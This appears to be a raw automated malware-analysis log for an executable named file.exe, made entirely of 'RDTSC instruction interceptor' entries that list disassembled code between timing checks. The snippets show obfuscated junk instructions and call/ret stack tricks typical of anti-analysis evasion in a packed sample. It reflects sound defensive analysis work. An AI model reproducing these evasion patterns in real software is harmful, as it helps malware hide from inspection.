Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6531B second address: D65321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65321 second address: D6538C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 cld 0x0000000a push 00000000h 0x0000000c cmc 0x0000000d push BA3B2945h 0x00000012 jmp 00007F20FCE83CB8h 0x00000017 add dword ptr [esp], 45C4D73Bh 0x0000001e jno 00007F20FCE83CA6h 0x00000024 push 00000003h 0x00000026 stc 0x00000027 stc 0x00000028 push 00000000h 0x0000002a mov edx, dword ptr [ebp+122D2AC0h] 0x00000030 pushad 0x00000031 add ecx, dword ptr [ebp+122D3468h] 0x00000037 mov ecx, 661C3250h 0x0000003c popad 0x0000003d push 00000003h 0x0000003f sub edx, 4FA80985h 0x00000045 push F2FF4258h 0x0000004a push eax 0x0000004b push edx 0x0000004c push edx 0x0000004d jmp 00007F20FCE83CAAh 0x00000052 pop edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6538C second address: D653C9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F20FD6D8E5Ch 0x00000008 js 00007F20FD6D8E56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [esp], 32FF4258h 0x00000017 mov dword ptr [ebp+122D32ABh], ecx 0x0000001d lea ebx, dword ptr [ebp+1245A1D6h] 0x00000023 mov ch, D6h 0x00000025 jmp 00007F20FD6D8E62h 0x0000002a push eax 0x0000002b push edi 0x0000002c push eax 0x0000002d push edx 0x0000002e push edi 0x0000002f pop edi 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D656DF second address: D656E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F20FCE83CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D656E9 second address: D656ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77224 second address: D77228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77228 second address: D7722E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57343 second address: D5737C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F20FCE83CB2h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 pushad 0x00000016 popad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jnc 00007F20FCE83CA6h 0x0000001f popad 0x00000020 push edi 0x00000021 pushad 0x00000022 popad 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 jnp 00007F20FCE83CA6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84D71 second address: D84D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84ECF second address: D84EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F20FCE83CB1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84EE4 second address: D84EF4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jl 00007F20FD6D8E56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8535A second address: D85361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85BC8 second address: D85BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007F20FD6D8E56h 0x00000011 popad 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86B97 second address: D86BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F20FCE83CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86BA1 second address: D86BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Fh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d jmp 00007F20FD6D8E65h 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D882AB second address: D882B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D882B1 second address: D882BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D882BB second address: D8830B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F20FCE83CB1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F20FCE83CB1h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jc 00007F20FCE83CA6h 0x00000019 jmp 00007F20FCE83CB7h 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 push ecx 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A463 second address: D8A469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A469 second address: D8A46E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89A1A second address: D89A48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F20FD6D8E5Eh 0x00000008 jng 00007F20FD6D8E56h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F20FD6D8E5Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89A48 second address: D89A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89A62 second address: D89A6C instructions: 0x00000000 rdtsc 0x00000002 je 00007F20FD6D8E5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D35A second address: D8D37B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F20FCE83CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F20FCE83CB5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4651C second address: D46522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46522 second address: D46526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92564 second address: D92598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F20FD6D8E56h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e je 00007F20FD6D8E56h 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007F20FD6D8E64h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e pop ecx 0x0000001f pushad 0x00000020 push eax 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92598 second address: D925CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F20FCE83CB3h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F20FCE83CB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D925CA second address: D925CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D975BB second address: D975BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97681 second address: D97685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97685 second address: D976A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9784C second address: D97850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97850 second address: D97854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9791A second address: D9791E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9791E second address: D97922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97922 second address: D97934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jc 00007F20FD6D8E56h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97D76 second address: D97D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97F88 second address: D97F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98319 second address: D9831D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D983BF second address: D983D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E5Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D983D2 second address: D983EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F20FCE83CACh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9846F second address: D98480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F20FD6D8E56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98480 second address: D9848A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F20FCE83CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D989FF second address: D98A04 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B925 second address: D9B92B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C492 second address: D9C496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C496 second address: D9C4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C4A0 second address: D9C4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9CE56 second address: D9CE79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F20FCE83CAFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F20FCE83CADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9CE79 second address: D9CE8F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F20FD6D8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F20FD6D8E58h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9CE8F second address: D9CF01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F20FCE83CAEh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F20FCE83CA8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov edi, esi 0x0000002a mov dword ptr [ebp+122D21A1h], ebx 0x00000030 push 00000000h 0x00000032 call 00007F20FCE83CB9h 0x00000037 jnc 00007F20FCE83CABh 0x0000003d pop edi 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jbe 00007F20FCE83CA8h 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DA12 second address: D9DA16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DA16 second address: D9DA1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E277 second address: D9E284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E284 second address: D9E289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9EFD6 second address: D9F015 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movzx esi, ax 0x0000000e push 00000000h 0x00000010 mov esi, dword ptr [ebp+124801DAh] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F20FD6D8E58h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 mov edi, 5FC2D400h 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F015 second address: D9F023 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F20FCE83CACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1E9F second address: DA1EB9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F20FD6D8E5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F20FD6D8E56h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA20FB second address: DA211B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F20FCE83CB2h 0x00000009 popad 0x0000000a pushad 0x0000000b je 00007F20FCE83CA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA46BF second address: DA46E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnl 00007F20FD6D8E56h 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F20FD6D8E61h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA670C second address: DA6710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA46E4 second address: DA46FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6710 second address: DA6721 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F20FCE83CA8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA46FA second address: DA4700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6721 second address: DA673E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F20FCE83CB4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4700 second address: DA4704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA76D6 second address: DA76F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FCE83CB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA686C second address: DA6876 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F20FD6D8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA76F0 second address: DA7755 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F20FCE83CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov bh, 8Ch 0x00000011 mov ebx, 69C620A2h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F20FCE83CA8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 xor bh, 00000012h 0x00000035 call 00007F20FCE83CABh 0x0000003a mov bh, dl 0x0000003c pop ebx 0x0000003d push 00000000h 0x0000003f mov bl, 29h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F20FCE83CAEh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7755 second address: DA775B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA96BC second address: DA9717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F20FCE83CADh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F20FCE83CA8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov ebx, dword ptr [ebp+122D28A2h] 0x0000002e push 00000000h 0x00000030 jl 00007F20FCE83CACh 0x00000036 sub dword ptr [ebp+122D34FDh], edx 0x0000003c push 00000000h 0x0000003e mov bx, 6E55h 0x00000042 xchg eax, esi 0x00000043 push ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 jns 00007F20FCE83CA6h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA88F3 second address: DA891C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F20FD6D8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F20FD6D8E60h 0x00000010 ja 00007F20FD6D8E56h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA891C second address: DA8920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB7D5 second address: DAB7DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F20FD6D8E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB7DF second address: DAB7E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC7C2 second address: DAC7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC7C8 second address: DAC7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC7D4 second address: DAC7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB91D second address: DAB921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC7D8 second address: DAC7E6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F20FD6D8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC7E6 second address: DAC7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB921 second address: DAB925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB925 second address: DAB92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC7EA second address: DAC84B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F20FD6D8E58h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov edi, 0ADCBF38h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007F20FD6D8E58h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 xchg eax, esi 0x00000046 jnl 00007F20FD6D8E5Eh 0x0000004c push eax 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 push esi 0x00000051 pop esi 0x00000052 rdtsc
